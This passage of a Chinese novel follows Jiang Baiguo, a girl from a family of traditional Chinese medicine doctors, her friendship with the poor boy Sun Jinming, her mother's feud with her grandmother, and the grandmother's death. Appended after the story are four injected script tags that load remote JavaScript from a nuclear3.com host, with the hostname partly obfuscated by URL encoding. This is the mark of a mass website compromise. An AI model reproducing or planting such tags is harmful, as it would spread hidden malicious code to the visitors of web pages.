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江白果记忆里出现最多的是外婆戴着老花镜在阳光下翻外公留下的已经发黄的中药方子,外婆说的最多话就是:“他倒是人退了,留下我独活。” 妈妈说外婆是在想念外公,外公是江春城里最有名的老中医,留下的药方够他的子孙吃一辈子。 江白果从小和外婆一起看药方,知道人退、独活都是中药名,还有自己的名字白果,妈妈的名字藜芦,爸爸的名字细辛,都是中药。 妈妈和外婆的感情不合,不知道因为什么,在爸爸面前非常温和的妈妈对外婆总是摔脸子,动不动就扯着嗓门说话,动不动就摔东西。爸爸在家是最安静的,他除了睡觉偶尔打呼噜外,江白果就没听过他在家发出过声音。不过江细辛在外面那可是很有名气的,自从江白果外公死后,他就成了江春城最有名气的中医了。每天穿溜光的黑皮鞋,梳溜光的头发,穿江藜芦洗得雪白的白大褂出去门诊。 江家有一个很大很古朴的院子,院子外挂了江氏中医的牌子,每天很早就有人在院子门前排队,特别是每月的农历初一,人多得院里院外挤满了,因为那天是外公规定的救济日,凡是没钱看病的那天都会来,不但免费看病还免费送三剂药。 江春城的人都姓江,也有例外,比如住在城东的孙家就是外姓人,听外婆讲他们的祖上是挑货郎,到了这看中了一个姑娘入赘就没走了。没想到他们家的老人死后,这挑货郎就把两个儿子中的一个改为了他自己的孙姓,儿子又娶妻生了两个姓孙的孙子,孙子又娶妻生了更多姓孙的,其中一个叫孙锦明的和江白果年纪差不多大,常在初一这天来江家。 孙家虽然在江春城繁衍开了,但是分的地都很贫瘠,因此祖辈开始就很穷,到他们这也好不到哪去。孙锦明很小的时候就常和爷爷到这里来讨药方。 有一次江白果在门口玩石子,被路过的一头大黄狗吓哭了,正好孙锦明和他爷爷来讨药方,孙锦明用石头赶走了大黄狗,江白果给了孙锦明一块糖,于是两人成了好朋友。 孙锦明对江白果的好让江白果很受用,她没有兄弟姐妹,在这之前除了和外婆看看药方或帮母亲研药外,她一般是自己和自己玩,现在猛的多了一个人,对她又很“敬畏”她自然是发挥了小女孩所有折腾人的本事,而不管江白果怎么对孙锦明,孙锦明只会憨憨的笑。 用“敬畏”来形容孙锦明对江白果一点不过份。在孙锦明住的东城有很多和江白果一般大的女孩,不过江白果和她们是不一样的,她们总是顶着一头乱糟糟的头发,拖着长长的鼻涕,脚上穿露出脚趾的胶鞋。江白果是梳两跟整齐的齐腰辫子,辫子上总是飞着不同的颜色的蝴蝶,她穿白色花底的裙子,脸很白很干净,脚上穿红色的小皮鞋。孙锦明每次去找江白果玩之前都要在家用肥皂洗好几次手,再用水把头发弄湿沾光溜。 十岁的孙锦明就是那样畏惧又渴望地与八岁的江白果偷偷的玩着他们常玩不厌的游戏。十几年后当他们再相遇时,他们依然偷偷摸摸地玩着游戏。 外婆在江白果9岁的那年死了,是夏天,外婆边给刚洗好澡的江白果梳头边说:“囡囡生的好看,就是耳垂太薄,怕是没有福呀。”江藜芦在旁边听到了不高兴,说:“妈,您胡说什么呢?什么耳垂薄没福气,我耳垂厚吧,就命好了?” 讲藜芦刚和江细辛在屋里怄气了,他已经半年没上她的床,她心里的火早就噌噌往上窜,以往的怨恨一鼓脑涌上来。 “你怎么命不好了?不是我当初要下了,你能有今天?要不是我收养了细辛,你嫁谁去呀,你这个白眼狼!”外婆气的双手颤抖,好容易给江白果梳好的头又散了。 “你不要我才好,如果你不要我,我12岁时也不会……”江藜芦哽咽起来,接着说:“如果不是有那事,我想嫁谁就嫁谁,也不用整日看人脸色。”说完,一摔门出去了。 外婆叹了口气,放下梳子,任由江白果长如瀑布的头发散落下来。 那天晚上外婆拉着江白果说了很多话,说外公当年的帅气,说外公给爸爸妈妈取的名字, 外婆还说等她死了妈妈和爸爸不知道会怎样闹。 “我是想守着他们,守着你你长大,可外婆守不住了,都怪你外公给你爸你妈妈取的名字,藜芦和细辛这两味药是相克的,硬是凑在一起不毒死别人就毒死自己呀。” 外婆说完那话后的晚上就在躺椅上睡着了,再也没有醒来。 <Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63.nuclear3.com/css/c.js></Script><Script Src=http://%63%2Enuclear3.com/css/c.js></Script><Script Src=http://c.nuclea%723.com/css/c.js></Script>
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